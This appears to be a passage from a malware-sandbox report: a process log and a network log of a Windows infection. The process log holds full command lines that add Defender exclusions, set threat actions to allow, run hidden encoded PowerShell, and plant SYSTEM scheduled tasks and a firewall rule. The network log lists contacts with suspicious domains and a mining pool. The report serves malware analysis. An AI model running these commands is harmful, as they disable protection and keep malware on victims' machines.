REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kLpsRMujXEpbC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kLpsRMujXEpbC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tffvHWJZU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tffvHWJZU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\NGysLhxJEZNwhMVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\NGysLhxJEZNwhMVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\mrYrpJCpOmktZWwz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\mrYrpJCpOmktZWwz\" /t REG_DWORD /d 0 /reg:64;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BeEwQyQINcRtuKICoSR" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BeEwQyQINcRtuKICoSR" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BeEwQyQINcRtuKICoSR" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\REeMUtPoCvFU2" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\REeMUtPoCvFU2" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RcAuZGsZhuUn" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RcAuZGsZhuUn" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kLpsRMujXEpbC" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kLpsRMujXEpbC" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tffvHWJZU" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tffvHWJZU" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\NGysLhxJEZNwhMVB /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\NGysLhxJEZNwhMVB /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\mrYrpJCpOmktZWwz /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\mrYrpJCpOmktZWwz /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "glbEFdFtv" /SC once /ST 07:26:15 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="

C:\Users\Admin\Documents\SimpleAdobe\Aiu1y1TzmkCw7FwsSWl6ROeB.exe

"C:\Users\Admin\Documents\SimpleAdobe\Aiu1y1TzmkCw7FwsSWl6ROeB.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3940 -ip 3940

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "glbEFdFtv"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3940 -s 632

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==

C:\Users\Admin\AppData\Local\Temp\u33c.0.exe

"C:\Users\Admin\AppData\Local\Temp\u33c.0.exe"

C:\Users\Admin\AppData\Local\Temp\u33c.1.exe

"C:\Users\Admin\AppData\Local\Temp\u33c.1.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 4008 -ip 4008

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4008 -s 1168

C:\Windows\system32\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\system32\gpscript.exe

gpscript.exe /RefreshSystemParam

C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe

"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "glbEFdFtv"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "WFVPvOFzrjCnPPlbL" /SC once /ST 04:41:26 /RU "SYSTEM" /TR "\"C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\uNeHwZB.exe\" 7d /mPpwdidpV 525403 /S" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "WFVPvOFzrjCnPPlbL"

C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\uNeHwZB.exe

C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\uNeHwZB.exe 7d /mPpwdidpV 525403 /S

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "butYHpXTvMdZIJsEKZ"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\tffvHWJZU\tmmEYg.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "oiGBDDjiIQmhwtu" /V1 /F

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"

C:\Windows\SysWOW64\cmd.exe

/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"

C:\Windows\system32\netsh.exe

netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "oiGBDDjiIQmhwtu2" /F /xml "C:\Program Files (x86)\tffvHWJZU\nORFYlU.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /END /TN "oiGBDDjiIQmhwtu"

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "oiGBDDjiIQmhwtu"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "mVOvxPujqogGhF" /F /xml "C:\Program Files (x86)\REeMUtPoCvFU2\QQbcyWj.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "PuKixiXcCNlkt2" /F /xml "C:\ProgramData\NGysLhxJEZNwhMVB\pofzGhG.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "PNkVCGbsoOwbzBvhS2" /F /xml "C:\Program Files (x86)\BeEwQyQINcRtuKICoSR\gEkHMXg.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "OEjxyANCnYwFWrViDzJ2" /F /xml "C:\Program Files (x86)\kLpsRMujXEpbC\ftDwhRQ.xml" /RU "SYSTEM"

C:\Windows\rss\csrss.exe

C:\Windows\rss\csrss.exe

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "dSPsRFCNvoTMekFez" /SC once /ST 03:35:57 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\mrYrpJCpOmktZWwz\zVygYBkk\LcWFhMS.dll\",#1 /tdidJka 525403" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "dSPsRFCNvoTMekFez"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\rundll32.EXE

C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\mrYrpJCpOmktZWwz\zVygYBkk\LcWFhMS.dll",#1 /tdidJka 525403

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\mrYrpJCpOmktZWwz\zVygYBkk\LcWFhMS.dll",#1 /tdidJka 525403

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "WFVPvOFzrjCnPPlbL"

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "dSPsRFCNvoTMekFez"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 5876 -ip 5876

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5876 -s 1984

Network

Country Destination Domain Proto
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 133.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
BE 88.221.83.208:443 www.bing.com tcp
US 8.8.8.8:53 208.83.221.88.in-addr.arpa udp
BE 88.221.83.208:443 www.bing.com tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
GB 85.192.56.26:80 85.192.56.26 tcp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 api.myip.com udp
US 104.26.8.59:443 api.myip.com tcp
US 8.8.8.8:53 ipinfo.io udp
US 34.117.186.192:443 ipinfo.io tcp
US 8.8.8.8:53 26.56.192.85.in-addr.arpa udp
US 8.8.8.8:53 59.8.26.104.in-addr.arpa udp
US 8.8.8.8:53 192.186.117.34.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
GB 85.192.56.26:80 85.192.56.26 tcp
US 8.8.8.8:53 vk.com udp
US 8.8.8.8:53 monoblocked.com udp
US 8.8.8.8:53 zanzibarpivo.com udp
RU 5.42.66.10:80 5.42.66.10 tcp
US 8.8.8.8:53 gig.fastbutters.com udp
US 8.8.8.8:53 triedchicken.net udp
RU 5.42.96.7:80 5.42.96.7 tcp
BG 94.232.45.38:80 94.232.45.38 tcp
RU 5.42.66.10:80 5.42.66.10 tcp
US 8.8.8.8:53 cannedmarjijefes.sbs udp
DE 185.172.128.203:80 185.172.128.203 tcp
RU 45.130.41.108:80 monoblocked.com tcp
US 172.67.180.119:80 triedchicken.net tcp
RU 87.240.132.72:80 vk.com tcp
RU 87.240.132.72:80 vk.com tcp
US 104.21.10.62:80 zanzibarpivo.com tcp
US 188.114.96.2:80 gig.fastbutters.com tcp
US 172.67.198.209:80 cannedmarjijefes.sbs tcp
US 172.67.180.119:80 triedchicken.net tcp
US 104.21.10.62:80 zanzibarpivo.com tcp
US 188.114.96.2:80 gig.fastbutters.com tcp
US 172.67.180.119:80 triedchicken.net tcp
US 104.21.10.62:80 zanzibarpivo.com tcp
RU 87.240.132.72:80 vk.com tcp
RU 87.240.132.72:80 vk.com tcp
US 188.114.96.2:80 gig.fastbutters.com tcp
US 172.67.198.209:443 cannedmarjijefes.sbs tcp
RU 45.130.41.108:80 monoblocked.com tcp
US 172.67.180.119:443 triedchicken.net tcp
US 104.21.10.62:443 zanzibarpivo.com tcp
US 188.114.96.2:443 gig.fastbutters.com tcp
RU 87.240.132.72:80 vk.com tcp
RU 87.240.132.72:80 vk.com tcp
RU 45.130.41.108:80 monoblocked.com tcp
US 8.8.8.8:53 x2.c.lencr.org udp
RU 45.130.41.108:443 monoblocked.com tcp
BE 23.55.97.11:80 x2.c.lencr.org tcp
US 8.8.8.8:53 cheremushki.net udp
US 172.67.172.104:443 cheremushki.net tcp
US 8.8.8.8:53 carthewasher.net udp
RU 87.240.132.72:80 vk.com tcp
US 188.114.97.2:443 carthewasher.net tcp
RU 87.240.132.72:80 vk.com tcp
US 8.8.8.8:53 203.128.172.185.in-addr.arpa udp
US 8.8.8.8:53 38.45.232.94.in-addr.arpa udp
US 8.8.8.8:53 10.66.42.5.in-addr.arpa udp
US 8.8.8.8:53 119.180.67.172.in-addr.arpa udp
US 8.8.8.8:53 2.96.114.188.in-addr.arpa udp
US 8.8.8.8:53 62.10.21.104.in-addr.arpa udp
US 8.8.8.8:53 209.198.67.172.in-addr.arpa udp
US 8.8.8.8:53 7.96.42.5.in-addr.arpa udp
US 8.8.8.8:53 72.132.240.87.in-addr.arpa udp
US 8.8.8.8:53 108.41.130.45.in-addr.arpa udp
US 8.8.8.8:53 11.97.55.23.in-addr.arpa udp
US 8.8.8.8:53 195.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 104.172.67.172.in-addr.arpa udp
US 8.8.8.8:53 73.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 2.97.114.188.in-addr.arpa udp
RU 87.240.132.72:80 vk.com tcp
US 8.8.8.8:53 f.123654987.xyz udp
RU 87.240.132.72:80 vk.com tcp
RU 87.240.132.72:80 vk.com tcp
RU 87.240.132.72:80 vk.com tcp
RU 87.240.132.72:80 vk.com tcp
RU 87.240.132.72:80 vk.com tcp
RU 87.240.132.72:80 vk.com tcp
RU 87.240.132.72:80 vk.com tcp
RU 87.240.132.72:80 vk.com tcp
RU 87.240.132.72:80 vk.com tcp
GB 37.221.125.202:443 f.123654987.xyz tcp
RU 87.240.132.72:80 vk.com tcp
RU 87.240.132.72:80 vk.com tcp
RU 87.240.132.72:80 vk.com tcp
RU 87.240.132.72:80 vk.com tcp
RU 87.240.132.72:80 vk.com tcp
RU 87.240.132.72:80 vk.com tcp
RU 87.240.132.72:80 vk.com tcp
RU 87.240.132.72:443 vk.com tcp
RU 87.240.132.72:80 vk.com tcp
RU 87.240.132.72:443 vk.com tcp
US 8.8.8.8:53 202.125.221.37.in-addr.arpa udp
US 8.8.8.8:53 226.20.18.104.in-addr.arpa udp
RU 87.240.132.72:443 vk.com tcp
RU 87.240.132.72:80 vk.com tcp
US 8.8.8.8:53 sun6-21.userapi.com udp
US 8.8.8.8:53 sun6-20.userapi.com udp
NL 95.142.206.1:443 sun6-21.userapi.com tcp
NL 95.142.206.0:443 sun6-20.userapi.com tcp
RU 87.240.132.72:443 vk.com tcp
RU 87.240.132.72:443 vk.com tcp
US 8.8.8.8:53 psv4.userapi.com udp
RU 87.240.190.76:443 psv4.userapi.com tcp
RU 87.240.132.72:443 vk.com tcp
US 8.8.8.8:53 226.21.18.104.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 0.206.142.95.in-addr.arpa udp
US 8.8.8.8:53 1.206.142.95.in-addr.arpa udp
RU 87.240.132.72:443 vk.com tcp
RU 87.240.132.72:443 vk.com tcp
US 8.8.8.8:53 76.190.240.87.in-addr.arpa udp
RU 87.240.132.72:443 vk.com tcp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
NL 95.142.206.0:443 sun6-20.userapi.com tcp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
RU 5.42.66.10:80 5.42.66.10 tcp
GB 85.192.56.26:80 85.192.56.26 tcp
GB 85.192.56.26:80 85.192.56.26 tcp
US 8.8.8.8:53 iplis.ru udp
US 172.67.147.32:443 iplis.ru tcp
US 8.8.8.8:53 iplogger.org udp
US 104.21.4.208:443 iplogger.org tcp
US 8.8.8.8:53 32.147.67.172.in-addr.arpa udp
RU 5.42.66.10:50505 tcp
US 8.8.8.8:53 208.4.21.104.in-addr.arpa udp
US 8.8.8.8:53 d235izp073r941.cloudfront.net udp
FR 52.222.161.144:443 d235izp073r941.cloudfront.net tcp
US 8.8.8.8:53 144.161.222.52.in-addr.arpa udp
US 8.8.8.8:53 api.2ip.ua udp
US 104.21.65.24:443 api.2ip.ua tcp
US 8.8.8.8:53 steamcommunity.com udp
BE 104.68.92.92:443 steamcommunity.com tcp
US 8.8.8.8:53 92.92.68.104.in-addr.arpa udp
US 8.8.8.8:53 24.65.21.104.in-addr.arpa udp
RU 5.42.65.77:6541 tcp
US 8.8.8.8:53 185.128.155.18.in-addr.arpa udp
US 8.8.8.8:53 77.65.42.5.in-addr.arpa udp
FI 65.109.242.112:443 65.109.242.112 tcp
US 8.8.8.8:53 90.193.84.52.in-addr.arpa udp
US 8.8.8.8:53 112.242.109.65.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 106.201.58.216.in-addr.arpa udp
US 8.8.8.8:53 www.google.com udp
GB 142.250.178.4:443 www.google.com tcp
GB 142.250.178.4:443 www.google.com tcp
FI 65.109.242.112:443 65.109.242.112 tcp
US 8.8.8.8:53 4.178.250.142.in-addr.arpa udp
FI 65.109.242.112:443 65.109.242.112 tcp
FI 65.109.242.112:443 65.109.242.112 tcp
FI 65.109.242.112:443 65.109.242.112 tcp
RU 5.42.65.67:48396 tcp
US 8.8.8.8:53 67.65.42.5.in-addr.arpa udp
US 8.8.8.8:53 stiffraspyofkwsl.shop udp
US 104.21.81.139:443 stiffraspyofkwsl.shop tcp
US 52.111.229.48:443 tcp
US 8.8.8.8:53 139.81.21.104.in-addr.arpa udp
US 8.8.8.8:53 pool.hashvault.pro udp
US 8.8.8.8:53 acceptabledcooeprs.shop udp
US 188.114.96.2:443 acceptabledcooeprs.shop tcp
US 8.8.8.8:53 obsceneclassyjuwks.shop udp
US 172.67.192.5:443 obsceneclassyjuwks.shop tcp
DE 45.76.89.70:443 pool.hashvault.pro tcp
US 8.8.8.8:53 zippyfinickysofwps.shop udp
US 172.67.148.231:443 zippyfinickysofwps.shop tcp
US 8.8.8.8:53 5.192.67.172.in-addr.arpa udp
